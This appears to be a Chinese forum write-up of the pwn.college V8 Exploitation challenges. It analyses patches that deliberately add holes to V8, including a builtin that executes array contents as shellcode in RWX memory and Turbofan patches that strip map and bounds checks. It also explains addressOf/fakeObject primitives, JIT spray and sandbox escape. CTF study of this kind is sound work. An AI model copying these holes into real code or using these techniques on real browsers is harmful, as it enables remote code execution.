首页
社区
课程
招聘
[原创] Pwncollege V8 Exploitation 完结
发表于: 2025-6-6 10:58 3379

[原创] Pwncollege V8 Exploitation 完结

2025-6-6 10:58
3379

笔者以巩固基础为目的,完成了 pwncollege 的 V8 Exploitation 课程。整体而言,题目质量不错,但偏向于入门,因此特地整理了一篇通关笔记。若文中有疏漏或错误之处,欢迎各位师傅批评指正!

提前开一波香槟,完结

漏洞分析里有完整的patch内容

修改编译参数

接着编译

为array类型创建了一个run方法

首先,该函数会检查传入的对象是否为JSArray,并且要求数组的元素类型必须是简单类型(即没有 holes、不是对象等)。接下来,会判断数组的elements kind 是否为PACKED_DOUBLE_ELEMENTS,也就是要求数组中的所有元素都是double类型(即 JavaScript 的 Number类型,且不是int32、BigInt 或对象等)。随后,函数会检查数组的长度,确保其不会超过4096 字节(也就是最多512 个double元素),以防止溢出。

通过这些检查后,函数会调用mmap申请一段4096 字节、具有读写执行(RWX)权限的内存区域。实际上,在这一步就可以将 shellcode写入到该内存区域。随后,函数会将JSArray中的所有 double元素逐个拷贝到新申请的RWX 段中。最后,函数将这段内存作为函数指针直接执行,也就是运行了你拷贝进去的shellcode。

鉴定为v8里的ret2shellcode????????????

完整的patch文件内容

申请了一段rwx段,然后将用户创建的JSArray内容直接执行,那么提前在JSArray里提前布置shellcode就行

第一种方法,生成shellcode的脚本,这里是生产的是BigInt类型,所以还需要调用ToDoubleArray转化为浮点数

然后将输出的结果放到js脚本里,如下布置的shellcode

这里将类型转化,shellcode array转化为double array

第二种方法就是写浮点数的shellcode,这里是py脚本

输出如下,赋值到脚本里即可

这里直接写一个浮点数的shellcode就可以了

漏洞分析里有完整的patch内容

修改编译参数

编译

这里patch了三个函数,从名字看其实就是三个v8利用里常见的原语,获取对象的地址、沙箱内地址任意读写

可以看下怎么实现的,获取当前的isolate之后,先判断参数个数,接着判断参数的类型是不是对象(tag),然后直接获取address

获取isolate,参数长度为1,也就是读这个参数地址的内容,判断参数类型是否为Number,下面获取cage_base,其实也就是gc申请内存的基地址,然后类型转化一下。接着获取full_addr(r14+addr),然后通过指针解引,返回一个uint32_t的结果。

这里之所以需要先获取 cage base 并进行地址转换,是因为 V8 启用了指针压缩(Pointer Compression)机制。该机制下,堆对象的地址并不是完整的 64 位地址,而是相对于 cage base 的 32 位偏移量。不了解的读者可以自行搜索相关资料,原理并不复杂。

获取isolate,限定参数长度为2,分别获取两个参数,同时判断类型是否为Number。下面的流程和ArbRead32类似,就是最后这里不是指针解引,而是*(uint32_t *)full_addr = value; ,这里学过c的都能看得懂吧

完整的patch文件内容

其实这里patch了三个可以直接利用的漏洞原语,思路就很明确了。对于12.8版本,这里可以采用JIT Spray的方法,写立即数的shellcode,然后修改function的code_addr,实现错位字节的shellcode,也就是利用Maglev存在的漏洞实现控制流劫持(这里的环境不存在沙箱,所以并没有实现沙箱逃逸)如果开启了沙箱,其实这个方法还是可以实现沙箱逃逸的,但是会多一点绕过条件

mark一下一开始的思路,想通过覆写

d8 12.8版本,劫持jump table 失败

首先看下这一段代码的输出,这里需要关注code字段

job code,看一下输出,这个对象记录了instruction_start的起始地址,下面的一串instruction就是这一个函数经过Maglev优化后的代码

下面这一段其实就是我们写的shellcode的位置,浮点数是八字节的表示形式,去掉前面两个字节的操作,剩下的六个字节就是我们可控的内容,然后为了能写成rop的形式,所以6个字节里要已jmp结尾,用来跳到下一个gadget片段,所以我们每一个gadget可以写四字节的内容+一个jmp

这里可以看一下写成的效果

那么接着就是可以通过修改instruction_start 为我们控制的gadget片段的起始地址,修改为起始地址+0x6b(这里的偏移是根据不同环境来确定的)

看一下一开始的code: 0x1244002402a9 <Code MAGLEV>

修改之后

然后在最后的syscall下一个断点,gdb里c过去,可以看到最后执行的效果,就是执行了execve("catflag",0,0); ,这样就可以拿到flag了

这里我首先使用了py脚本生产一段shelcode

这里对于catflag这个字符串的处理,我将这个转化为hex的形式,然后分成高位和低位4字节,分别赋值给eax和ebx,然后eax << 32位存储到rax里,接着再讲低4字节赋值给rax,这样字符串就处理好了,然后push到栈上,接着讲rsp赋值给rdi,那么execve的第一个参数就处理好了,后面的rsi和rdx已经系统调用,对于看到这篇文章的读者,应该不会成为一个问题

看下这里执行完毕的效果

将输出赋值到convert.js脚本里,convert.js脚本的内容,需要转化为BigInt类型,然后前面加上0x

输出如下,最后拷贝到exp.js里,这个就是我们需要的shellcode

过程中遇到了很奇怪的问题(玄学),这是我一开始的脚本,必须删除一些debug输出,才能在远程环境中输出flag

最终拿到flag的脚本

以下为最终的脚本,修改了shellcode执行的次数之后,可以稳定的输出flag,但是笔者debug了一下两个脚本的区别,最后的优化代码都是Maglev生成的,且size相同,没有查到根本原因,如果有知道的师傅,可以d一下笔者

漏洞分析里有完整的patch内容

修改编译参数

编译

patch了两个很经典的原语,分别用于获取obj的地址和伪造obj

GetAddressOf的实现。获取isolate,限制参数长度不能为0,限制参数的类型必须为gc管理的对象,类型转化下,然后获取obj的地址

GetFakeObject的实现。获取isolate和对应的上下文环境,限制参数的长度必须为1且为number类型,获取addr,将被压缩的指针恢复为原来的地址,cast为obj类型,接着调用obj_handle转化为obj。

这里obj_handle的类型其实还是会做一些检查的,伪造的时候还是需要去伪造map、prototype等,以确保是一个看起来正确的obj

下面是完整的diff内容

有GetAddressOf和GetFakeObject,可以通过这两个原语来构造出一个fake_array,从而实现AAR和AAW

可以看下图

通过在某一地址处伪造出map和prototype,然后可以通过GetAddressOf获取其地址,接着写入prototype的值,写成0就可以。接着人为构造一个array,通过GetAddressOf获取到elements的地址,然后可以写死到fake_array里,length就可以自定。

那么就会得到这样一个fake_array

通过GetAddressOf获取到fake_array的地址之后,接着使用GetFakeObject就可以获取到一个fake_obj,然后通过这个fake_obj实现AAR和AAW

cage_read/write的命名有点问题,这里没开沙箱,后来笔者写这篇博客的时候发现了,懒得改了

接着利用JIT Spray

漏洞分析里有完整的patch内容

修改编译参数

编译

patch了一个setLength方法

这里将length转化为smi,注意下就行。然后检测下receiver的类型,就直接赋值了,修改了array的长度

完整的patch内容

我们可以修改array的length,那么其实意味着我们可以有一个越界写,但是经过笔者的测试发现,他其实只是修改了这个JSArray的length,但是element的length并没有修改,然后笔者推测越界写应该是有一个check,然后导致了越界写的失败,所以我们这里只能有一个越界读

似乎还有一个解释,这里的JSArray采用了懒加载,就是虽然设置了0x1000,但如果其实没有用到那么大的空间的时候,就不会初始化后面的空间,所以有的时候越界读会堵到NAN,这个有点像延迟绑定????

那么我们可以利用如下代码构造如下的结构,构造两个相邻的double_array

利用oob读取下一个double_array的map和prototype

有了double_array的map和prototype,想要构造addressOf的原语,这里还需要一个obj_map和prototype,因为有了一个越界读,所以可以通过修改一个正常obj的elements来实现AAR和AAW,因此这里不需要构造fakeObject也同样可以实现AAR和AAW

所以接着可以构造double_array和obj相邻的结构,代码如下

此时已经具备了所有构造的条件,先看下addressOf的实现

其实就是如下的结构,通过rw_array的越界写,修改obj的map,这样改变了其索引element的方式,可以获取任意对象的地址

接着构造AAR,

利用rw_array的越界写,修改obj的第一个element,然后obj[0]就可以访问到指定地址内容了

细心的读者可能会注意到,这里的addr-8,原因是elemnet索引的时候,开头的八个字节是map和prototype,所以访问第一个元素是addr+8,相对应的,我们想要实现任意地址读写的效果,这里就需要addr-8

下面的AAW其实是一样的,只不过AAR是通过obj[0]访问元素,这里是通过obj[0] = xxx;赋值,来修改内容

可以看到注释,这里踩了一个坑,这里Number和BigInt转化的时候出现了精度损失

下面就是用JIT Spray来指令执行了,和前面的流程一致

漏洞分析里有完整的patch内容

修改编译参数

编译

添加了一个offByOne的方法

首先判断receiver是不是JSArray和是否存在hole,接着对于类型进行了限制,只能是PACKED_DOUBLE_ELEMENTS、HOLEY_DOUBLE_ELEMENTS、PACKED_ELEMENTS和HOLEY_ELEMENTS

这里就需要上线经典老图,网址:16eK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6$3z5q4)9J5k6h3c8W2N6W2)9J5c8X3u0D9L8$3N6Q4x3V1k6W2L8r3g2E0k6h3&6@1M7#2)9J5k6r3E0A6L8X3c8K6

然后限制参数数量不超过两个,其实只能加1个,因为第一个参数是receiver,接着去获取array的length。

下面有两个分支,当类型为PACKED_DOUBLE_ELEMENTS和HOLEY_DOUBLE_ELEMENTS对应数组内都为浮点数的情况,此时v8就会使用更高效的FixedDoubleArray来存储元素;else分支对应的情况是数组内存在了一些其他类型(对象、字符串undfine、undifined、holes)的情况,采用FixedArray存储元素。

分支内的模式都是相同的,用户不传参数对应read mode,传一个参数对应write mode。read mode直接返回elements[len]的元素内容,很典型的一个越界,write mode会先判断用户穿入的参数类型是否为Number,接着转化为double类型,然后elements[len]=val,一个八字节的越界写

完整的patch内容

从上面不难看出这是一个八字节的越界读写漏洞,那么就要思考越界读写八字节的最大效果是什么。

看这一个demo

输出如下

对于两个相邻的JSArray类型的对象,map类型都为PACKED_DOUBLE_ELEMENTS,越界8字节之后的输出是下一个对象的map和properties,意味着我们可以读写这两个内容

其实可以尝试一下相邻的对象类型是JS_OBJECT_TYPE,这样就可以存在一个类型混淆

对于这一段代码

输出如下

这里越界可以读到obj的map和properties,因此map已经是可控制的了,这里一开始我尝试混淆相邻对象的map,然后写addressOf,但是地址非常不稳定,因此尝试了另外一个思路

但是一般来说我们需要控制的内容是elements,所以我们控制properties会有什么作用呢?这篇博客里介绍了b9fK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6$3z5q4)9J5k6h3c8W2N6W2)9J5c8X3u0D9L8$3N6Q4x3V1k6X3j5i4y4@1i4K6u0V1M7s2u0G2M7r3g2J5N6r3W2W2M7H3`.`.,笔者这里简单介绍下,详细的需要自行看官方博客

下面这张图说明了Named Properties通过properties来索引,Indexed Properties通过 elements来索引

下面显示的是in-object会直接存储在elements的后面,然后normal properties就还是通过properties来索引

对于这一段代码

这样的输出

对于Indexed Properties,这里是elements索引

这里的in-object直接存储在elements后面,然后out-objs 也就是normal properties,都使用了properties来索引,这里的值都*2,是因为这个smi的表示

结合上面的观察,可以通过8字节的溢出可以覆盖到properties,那么其实就可以控制normal properties,如果修改为一个obj的elements,然后使用obj.out_object1 = xxxx;来索引,同时修改值,这样就可以修改elements的length,同时继续去修改obj的length,这样就可以有一个rw_array,有这个rw_array之后,写addressOf、fakeObject、AAR、AAW是很简单的了

构造如下结构,这样索引out-obj1的时候就可以修改length的值了,后面的步骤就是很熟悉的了

漏洞分析里有完整的patch内容

修改编译参数

接着编译

添加了一个functionMap的方法

省略前面一部分的检查操作,这个和之前的都很类似,这个方法会获取一个参数,这个参数必须是JSFunction

下面是主要逻辑,对原本array的所有元素进行操作,取出元素转换为obj,也就是下面的elem_handle,解释调用func_obj,也就是用户穿入的自定义函数,参数就是elem_handle,将返回值再写入原本的elements内

细看其实就会发现问题,这里没有对于元素类型进行检查,意味着我返回的元素类型可以改变为与原本对象不同的类型,那么这样就会导致原本对象的map改变,这样就可以实现类型混淆

patch的完整内容

对于上面的分析,我们就可以尝试构造一个函数,动态的修改obj的类型,下面是addressOf的编写,采用switch case的结构,使用itr进行遍历。第一次执行victim_arr[2] = obj; ,成功的修改了map,然后itr为1的时候,就会解析出来obj的地址

idx=1可以索引出原本victim_arr[2]的原因是由于类型发生转换,变成obj类型之后,转换成pointer,对应了四字节(也就是指针压缩),所以索引arr的idx会发生改变

接着就是fakeObject,思路是很类似的,这里还是修改arr的类型,然后解析穿入地址,伪造成一个obj,接着调用arr[0]返回,索引的问题和上面是一样的,可以动态调试看下

有了addressOf和fakeObject,后面的步骤都是一致的,AAR和AAW,最后JIT Spray

现在登场的是,因为环境问题卡了最久的:(

漏洞分析里有完整的patch内容

修改编译参数

接着编译

这里的patch是对于turbofan的,可以看到目录是/src/compiler/turboshaft/,优化阶段是machine-lowering

这里是删去了对于map为空时的检查

这里一整个将对于map检查的操作全部删去了

总的来看,对于一段代码经过优化后,将不会检查map类型。换句话说,这段代码被优化之后,我可以对其操作过的对象的map任意修改

完整的patch内容

接着写一个poc验证我们的想法,下面的结果是成功验证了

使用Turbolizer分析下,选择到BuildGraph阶段

此时存在checkmap的检查,结合diff,发生在机器码优化阶段之前

接着将调到MachineLowering阶段

可以发现原本的CheckMaps已经变成了AssumeMap,AssumeMap意味着假设对象的map不会改变,对应diff里的逻辑就是不对map进行任何检查

后方已经不存在任何的map检查

可以聊一下这里addressOf的编写。通过分析上述优化阶段可以发现,该补丁实际上只影响 TurboFan 优化器。因此,只有在代码被 TurboFan 优化时,才可能触发前述漏洞。自 2021 年 V8 引入 Maglev 后,在不满足直接使用 TurboFan 优化条件的情况下,Ignition 生成的字节码会先由 Maglev 生成 SSA 和 CFG,随后再交由 TurboFan 进一步优化。由于这种优化路径的不同,上述漏洞在该路径下不会被触发。

所以我们需要增加函数的复杂性和执行时间,一步到位的去直接跳过Maglev的优化

复杂性方面无需多言,而在执行时间方面,TurboFan 会评估编译优化该函数所需的时间与该函数未优化时的执行时间,只有当优化能够带来明显的性能提升时,TurboFan 才会选择对该函数进行优化。

下面采用了if(flag || idx < 1)的分支结构,防止下方的bypass函数被优化

其实后续发现采用try-catch的结构也可以增加成功率,不过笔者并没有提供try-catch结构的exp,

后面的构造步骤基本一致,然后需要注意的点就是,调用完addressOf之后,大概率触发gc,会导致堆布局的变化

最后的脚本,远程环境中成功率不高,得多试几次(写个爆破脚本也不是不行

漏洞分析里有完整的patch内容

修改编译参数

接着编译

patch里主要的变动区域在这里,发生在这个阶段simplified-lowering,这个函数的流程是与边界检查有关的,也就是类似于数组索引的操作,进入turbofan优化的时候,会调用到这个函数

主要在于下方删去了if (v8_flags.turbo_typer_hardening) 替换为if (false /*v8_flags.turbo_typer_hardening*/) ,这就意味着会直接执行到DeferReplacement(node, NodeProperties::GetValueInput(node, 0)); ,而这个语句的作用就是直接消除边界检查,那么意思就是说,一段执行过索引数组操作的代码,被turbofan优化过后,数组就不存在边界检查,也就是任意的oob

完整的patch

通过上面的分析,笔者先写了一个验证的poc

可以发现这里已经越界成功了,那么就依照这个思路去写addressof,可以凭借这里的越界读写去直接修改elements,这样就可以直接得到AAR和AAW,后面思路也是一致

比较抽象的点就是环境,因为使用了JIT Spray,所以很容易触发gc,从而导致堆布局变化,而且即使本地使用了与远程一致的docker环境,最后和远程环境还是不一样,所以需要调……(很没必要的时间,在这种问题上)
因为这个level-8的环境存在Maglev,所以不太好调,可以在d8执行参数上加上--trace-opt,观察优化的情况

环境太几把玄学了。

漏洞分析里有完整的patch内容

修改编译参数

接着编译

从编译参数里可以发现这次没有v8_enable_sandbox = false,因此是开启了沙箱

这个patch的内容其实是高版本v8引入的一个api的部分方法,主要用于测试沙箱逃逸的api,开启之后相当于拥有了对于沙箱内地址任意修改的能力,最新版本的api功能可以查看src/sandbox 目录下的源码。

这道题目开启了如下所示的四个方法

注释里是使用方法,这里返回了sandbox的大小

这个方法提供了一个[addr,addr+offset]的内存任意读写的能力,但是范围限定在了沙箱内,从这段代码可以看出来(offset > sandbox->size() || size > sandbox->size() || (offset + size) > sandbox->size())

这个就是获取obj的地址

下面是获取obj的size

完整的patch内容

这里已经具有了沙箱内任意读写的能力,所以也不需要再构造addressOf和fakeObject原语,现在需要思考的应该是如何成功地沙箱逃逸

一个技巧是通过这个办法构造越界读写原语,这样可以调用DataView的方法去直接4/8字节操作内存

还是可以采用立即数shellcode,配合JIT Spray实现沙箱逃逸

对于这样一段代码

输出如下

这里只需要修改code 字段,就可以劫持控制流,这里修改成0x41414141,gdb里执行set {int}0x1d830834363c=0x4141414141 ,执行发现此时的RCX=R14+0x41414141,意味着我们可以劫持rip具体值,通过修改code字段

注意下方的汇编,提取出来是这样。这里只要劫持rcx的值就是任意指令执行,需要执行的指令位于rcx+0x3f,同时需要绕过条件[rcx+0x1b] & 0x20000000 = 0

绕过dword ptr [rcx + 0x1b], 0x20000000的方法,shellcode最前面加一个1.0就可以,

然后后面就是修改code为我们shellcode位于的位置-0x3f

git reset --hard 5a2307d0f2c5b650c6858e2b9b57b335a59946ff
gclient sync -D
git apply < ./patch
gn gen out/release
git reset --hard 5a2307d0f2c5b650c6858e2b9b57b335a59946ff
gclient sync -D
git apply < ./patch
gn gen out/release
➜  release git:(5a2307d0f2c) ✗ cat args.gn  
# Set build arguments here. See `gn help buildargs`.
is_component_build = false
is_debug = false 
target_cpu = "x64"
v8_enable_sandbox = false
v8_enable_backtrace = true
v8_enable_disassembler = true
v8_enable_object_print = true
dcheck_always_on = false
use_goma = false
v8_code_pointer_sandboxing = false
➜  release git:(5a2307d0f2c) ✗ cat args.gn  
# Set build arguments here. See `gn help buildargs`.
is_component_build = false
is_debug = false 
target_cpu = "x64"
v8_enable_sandbox = false
v8_enable_backtrace = true
v8_enable_disassembler = true
v8_enable_object_print = true
dcheck_always_on = false
use_goma = false
v8_code_pointer_sandboxing = false
autoninja -C out/release d8
autoninja -C out/release d8
+BUILTIN(ArrayRun) {
+  HandleScope scope(isolate);
+  Factory *factory = isolate->factory();
+  Handle<Object> receiver = args.receiver();
+
+  if (!IsJSArray(*receiver) || !HasOnlySimpleReceiverElements(isolate, Cast<JSArray>(*receiver))) {
+    THROW_NEW_ERROR_RETURN_FAILURE(isolate, NewTypeError(MessageTemplate::kPlaceholderOnly,
+      factory->NewStringFromAsciiChecked("Nope")));
+  }
+
+  Handle<JSArray> array = Cast<JSArray>(receiver);
+  ElementsKind kind = array->GetElementsKind();
+
+  if (kind != PACKED_DOUBLE_ELEMENTS) {
+    THROW_NEW_ERROR_RETURN_FAILURE(isolate, NewTypeError(MessageTemplate::kPlaceholderOnly,
+      factory->NewStringFromAsciiChecked("Need array of double numbers")));
+  }
+
+  uint32_t length = static_cast<uint32_t>(Object::NumberValue(array->length()));
+  if (sizeof(double) * (uint64_t)length > 4096) {
+    THROW_NEW_ERROR_RETURN_FAILURE(isolate, NewTypeError(MessageTemplate::kPlaceholderOnly,
+      factory->NewStringFromAsciiChecked("array too long")));
+  }
+
+  // mmap(NULL, 4096, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
+  double *mem = (double *)mmap(NULL, 4096, 7, 0x22, -1, 0);
+  if (mem == (double *)-1) {
+    THROW_NEW_ERROR_RETURN_FAILURE(isolate, NewTypeError(MessageTemplate::kPlaceholderOnly,
+      factory->NewStringFromAsciiChecked("mmap failed")));
+  }
+
+  Handle<FixedDoubleArray> elements(Cast<FixedDoubleArray>(array->elements()), isolate);
+  FOR_WITH_HANDLE_SCOPE(isolate, uint32_t, i = 0, i, i < length, i++, {
+    double x = elements->get_scalar(i);
+    mem[i] = x;
+  });
+
+  ((void (*)())mem)();
+  return 0;
+}
+BUILTIN(ArrayRun) {
+  HandleScope scope(isolate);
+  Factory *factory = isolate->factory();
+  Handle<Object> receiver = args.receiver();
+
+  if (!IsJSArray(*receiver) || !HasOnlySimpleReceiverElements(isolate, Cast<JSArray>(*receiver))) {
+    THROW_NEW_ERROR_RETURN_FAILURE(isolate, NewTypeError(MessageTemplate::kPlaceholderOnly,
+      factory->NewStringFromAsciiChecked("Nope")));
+  }
+
+  Handle<JSArray> array = Cast<JSArray>(receiver);
+  ElementsKind kind = array->GetElementsKind();
+
+  if (kind != PACKED_DOUBLE_ELEMENTS) {
+    THROW_NEW_ERROR_RETURN_FAILURE(isolate, NewTypeError(MessageTemplate::kPlaceholderOnly,
+      factory->NewStringFromAsciiChecked("Need array of double numbers")));
+  }
+
+  uint32_t length = static_cast<uint32_t>(Object::NumberValue(array->length()));
+  if (sizeof(double) * (uint64_t)length > 4096) {
+    THROW_NEW_ERROR_RETURN_FAILURE(isolate, NewTypeError(MessageTemplate::kPlaceholderOnly,
+      factory->NewStringFromAsciiChecked("array too long")));
+  }
+
+  // mmap(NULL, 4096, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
+  double *mem = (double *)mmap(NULL, 4096, 7, 0x22, -1, 0);
+  if (mem == (double *)-1) {
+    THROW_NEW_ERROR_RETURN_FAILURE(isolate, NewTypeError(MessageTemplate::kPlaceholderOnly,
+      factory->NewStringFromAsciiChecked("mmap failed")));
+  }
+
+  Handle<FixedDoubleArray> elements(Cast<FixedDoubleArray>(array->elements()), isolate);
+  FOR_WITH_HANDLE_SCOPE(isolate, uint32_t, i = 0, i, i < length, i++, {
+    double x = elements->get_scalar(i);
+    mem[i] = x;
+  });
+
+  ((void (*)())mem)();
+  return 0;
+}
diff --git a/src/builtins/builtins-array.cc b/src/builtins/builtins-array.cc
index ea45a7ada6b..c840e568152 100644
--- a/src/builtins/builtins-array.cc
+++ b/src/builtins/builtins-array.cc
@@ -24,6 +24,8 @@
 #include "src/objects/prototype.h"
 #include "src/objects/smi.h"
  
+extern "C" void *mmap(void *, unsigned long, int, int, int, int);
+
 namespace v8 {
 namespace internal {
  
@@ -407,6 +409,47 @@ BUILTIN(ArrayPush) {
   return *isolate->factory()->NewNumberFromUint((new_length));
 }
  
+BUILTIN(ArrayRun) {
+  HandleScope scope(isolate);
+  Factory *factory = isolate->factory();
+  Handle<Object> receiver = args.receiver();
+
+  if (!IsJSArray(*receiver) || !HasOnlySimpleReceiverElements(isolate, Cast<JSArray>(*receiver))) {
+    THROW_NEW_ERROR_RETURN_FAILURE(isolate, NewTypeError(MessageTemplate::kPlaceholderOnly,
+      factory->NewStringFromAsciiChecked("Nope")));
+  }
+
+  Handle<JSArray> array = Cast<JSArray>(receiver);
+  ElementsKind kind = array->GetElementsKind();
+
+  if (kind != PACKED_DOUBLE_ELEMENTS) {
+    THROW_NEW_ERROR_RETURN_FAILURE(isolate, NewTypeError(MessageTemplate::kPlaceholderOnly,
+      factory->NewStringFromAsciiChecked("Need array of double numbers")));
+  }
+
+  uint32_t length = static_cast<uint32_t>(Object::NumberValue(array->length()));
+  if (sizeof(double) * (uint64_t)length > 4096) {
+    THROW_NEW_ERROR_RETURN_FAILURE(isolate, NewTypeError(MessageTemplate::kPlaceholderOnly,
+      factory->NewStringFromAsciiChecked("array too long")));
+  }
+
+  // mmap(NULL, 4096, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
+  double *mem = (double *)mmap(NULL, 4096, 7, 0x22, -1, 0);
+  if (mem == (double *)-1) {
+    THROW_NEW_ERROR_RETURN_FAILURE(isolate, NewTypeError(MessageTemplate::kPlaceholderOnly,
+      factory->NewStringFromAsciiChecked("mmap failed")));
+  }
+
+  Handle<FixedDoubleArray> elements(Cast<FixedDoubleArray>(array->elements()), isolate);
+  FOR_WITH_HANDLE_SCOPE(isolate, uint32_t, i = 0, i, i < length, i++, {
+    double x = elements->get_scalar(i);
+    mem[i] = x;
+  });
+
+  ((void (*)())mem)();
+  return 0;
+}
+
 namespace {
  
 V8_WARN_UNUSED_RESULT Tagged<Object> GenericArrayPop(Isolate* isolate,
diff --git a/src/builtins/builtins-definitions.h b/src/builtins/builtins-definitions.h
index 78cbf8874ed..4f3d885cca7 100644
--- a/src/builtins/builtins-definitions.h
+++ b/src/builtins/builtins-definitions.h
@@ -421,6 +421,7 @@ namespace internal {
   TFJ(ArrayPrototypePop, kDontAdaptArgumentsSentinel)                          \
   /* ES6 #sec-array.prototype.push */                                          \
   CPP(ArrayPush)                                                               \
+  CPP(ArrayRun)                                                                \
   TFJ(ArrayPrototypePush, kDontAdaptArgumentsSentinel)                         \
   /* ES6 #sec-array.prototype.shift */                                         \
   CPP(ArrayShift)                                                              \
diff --git a/src/compiler/typer.cc b/src/compiler/typer.cc
index 9a346d134b9..58fd42e59a4 100644
--- a/src/compiler/typer.cc
+++ b/src/compiler/typer.cc
@@ -1937,6 +1937,8 @@ Type Typer::Visitor::JSCallTyper(Type fun, Typer* t) {
       return Type::Receiver();
     case Builtin::kArrayUnshift:
       return t->cache_->kPositiveSafeInteger;
+  case Builtin::kArrayRun:
+    return Type::Receiver();
  
     // ArrayBuffer functions.
     case Builtin::kArrayBufferIsView:
diff --git a/src/d8/d8.cc b/src/d8/d8.cc
index facf0d86d79..382c015bc48 100644
--- a/src/d8/d8.cc
+++ b/src/d8/d8.cc
@@ -3364,7 +3364,7 @@ Local<FunctionTemplate> Shell::CreateNodeTemplates(
  
 Local<ObjectTemplate> Shell::CreateGlobalTemplate(Isolate* isolate) {
   Local<ObjectTemplate> global_template = ObjectTemplate::New(isolate);
-  global_template->Set(Symbol::GetToStringTag(isolate),
+/*  global_template->Set(Symbol::GetToStringTag(isolate),
                        String::NewFromUtf8Literal(isolate, "global"));
   global_template->Set(isolate, "version",
                        FunctionTemplate::New(isolate, Version));
@@ -3385,13 +3385,13 @@ Local<ObjectTemplate> Shell::CreateGlobalTemplate(Isolate* isolate) {
   global_template->Set(isolate, "readline",
                        FunctionTemplate::New(isolate, ReadLine));
   global_template->Set(isolate, "load",
-                       FunctionTemplate::New(isolate, ExecuteFile));
+                       FunctionTemplate::New(isolate, ExecuteFile));*/
   global_template->Set(isolate, "setTimeout",
                        FunctionTemplate::New(isolate, SetTimeout));
   // Some Emscripten-generated code tries to call 'quit', which in turn would
   // call C's exit(). This would lead to memory leaks, because there is no way
   // we can terminate cleanly then, so we need a way to hide 'quit'.
-  if (!options.omit_quit) {
+/*  if (!options.omit_quit) {
     global_template->Set(isolate, "quit", FunctionTemplate::New(isolate, Quit));
   }
   global_template->Set(isolate, "testRunner",
@@ -3410,7 +3410,7 @@ Local<ObjectTemplate> Shell::CreateGlobalTemplate(Isolate* isolate) {
   if (i::v8_flags.expose_async_hooks) {
     global_template->Set(isolate, "async_hooks",
                          Shell::CreateAsyncHookTemplate(isolate));
-  }
+  }*/
  
   return global_template;
 }
diff --git a/src/init/bootstrapper.cc b/src/init/bootstrapper.cc
index 48249695b7b..40a762c24c8 100644
--- a/src/init/bootstrapper.cc
+++ b/src/init/bootstrapper.cc
@@ -2533,6 +2533,8 @@ void Genesis::InitializeGlobal(Handle<JSGlobalObject> global_object,
  
     SimpleInstallFunction(isolate_, proto, "at", Builtin::kArrayPrototypeAt, 1,
                           true);
+    SimpleInstallFunction(isolate_, proto, "run",
+                          Builtin::kArrayRun, 0, false);
     SimpleInstallFunction(isolate_, proto, "concat",
                           Builtin::kArrayPrototypeConcat, 1, false);
     SimpleInstallFunction(isolate_, proto, "copyWithin",
diff --git a/src/builtins/builtins-array.cc b/src/builtins/builtins-array.cc
index ea45a7ada6b..c840e568152 100644
--- a/src/builtins/builtins-array.cc
+++ b/src/builtins/builtins-array.cc
@@ -24,6 +24,8 @@
 #include "src/objects/prototype.h"
 #include "src/objects/smi.h"
  
+extern "C" void *mmap(void *, unsigned long, int, int, int, int);
+
 namespace v8 {
 namespace internal {
  
@@ -407,6 +409,47 @@ BUILTIN(ArrayPush) {
   return *isolate->factory()->NewNumberFromUint((new_length));
 }
  
+BUILTIN(ArrayRun) {
+  HandleScope scope(isolate);
+  Factory *factory = isolate->factory();
+  Handle<Object> receiver = args.receiver();
+
+  if (!IsJSArray(*receiver) || !HasOnlySimpleReceiverElements(isolate, Cast<JSArray>(*receiver))) {
+    THROW_NEW_ERROR_RETURN_FAILURE(isolate, NewTypeError(MessageTemplate::kPlaceholderOnly,
+      factory->NewStringFromAsciiChecked("Nope")));
+  }
+
+  Handle<JSArray> array = Cast<JSArray>(receiver);
+  ElementsKind kind = array->GetElementsKind();
+
+  if (kind != PACKED_DOUBLE_ELEMENTS) {
+    THROW_NEW_ERROR_RETURN_FAILURE(isolate, NewTypeError(MessageTemplate::kPlaceholderOnly,
+      factory->NewStringFromAsciiChecked("Need array of double numbers")));
+  }
+
+  uint32_t length = static_cast<uint32_t>(Object::NumberValue(array->length()));
+  if (sizeof(double) * (uint64_t)length > 4096) {
+    THROW_NEW_ERROR_RETURN_FAILURE(isolate, NewTypeError(MessageTemplate::kPlaceholderOnly,
+      factory->NewStringFromAsciiChecked("array too long")));
+  }
+
+  // mmap(NULL, 4096, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
+  double *mem = (double *)mmap(NULL, 4096, 7, 0x22, -1, 0);
+  if (mem == (double *)-1) {
+    THROW_NEW_ERROR_RETURN_FAILURE(isolate, NewTypeError(MessageTemplate::kPlaceholderOnly,
+      factory->NewStringFromAsciiChecked("mmap failed")));
+  }
+
+  Handle<FixedDoubleArray> elements(Cast<FixedDoubleArray>(array->elements()), isolate);
+  FOR_WITH_HANDLE_SCOPE(isolate, uint32_t, i = 0, i, i < length, i++, {
+    double x = elements->get_scalar(i);
+    mem[i] = x;
+  });
+
+  ((void (*)())mem)();
+  return 0;
+}
+
 namespace {
  
 V8_WARN_UNUSED_RESULT Tagged<Object> GenericArrayPop(Isolate* isolate,
diff --git a/src/builtins/builtins-definitions.h b/src/builtins/builtins-definitions.h
index 78cbf8874ed..4f3d885cca7 100644
--- a/src/builtins/builtins-definitions.h
+++ b/src/builtins/builtins-definitions.h
@@ -421,6 +421,7 @@ namespace internal {
   TFJ(ArrayPrototypePop, kDontAdaptArgumentsSentinel)                          \
   /* ES6 #sec-array.prototype.push */                                          \
   CPP(ArrayPush)                                                               \
+  CPP(ArrayRun)                                                                \
   TFJ(ArrayPrototypePush, kDontAdaptArgumentsSentinel)                         \
   /* ES6 #sec-array.prototype.shift */                                         \
   CPP(ArrayShift)                                                              \
diff --git a/src/compiler/typer.cc b/src/compiler/typer.cc
index 9a346d134b9..58fd42e59a4 100644
--- a/src/compiler/typer.cc
+++ b/src/compiler/typer.cc
@@ -1937,6 +1937,8 @@ Type Typer::Visitor::JSCallTyper(Type fun, Typer* t) {
       return Type::Receiver();
     case Builtin::kArrayUnshift:
       return t->cache_->kPositiveSafeInteger;
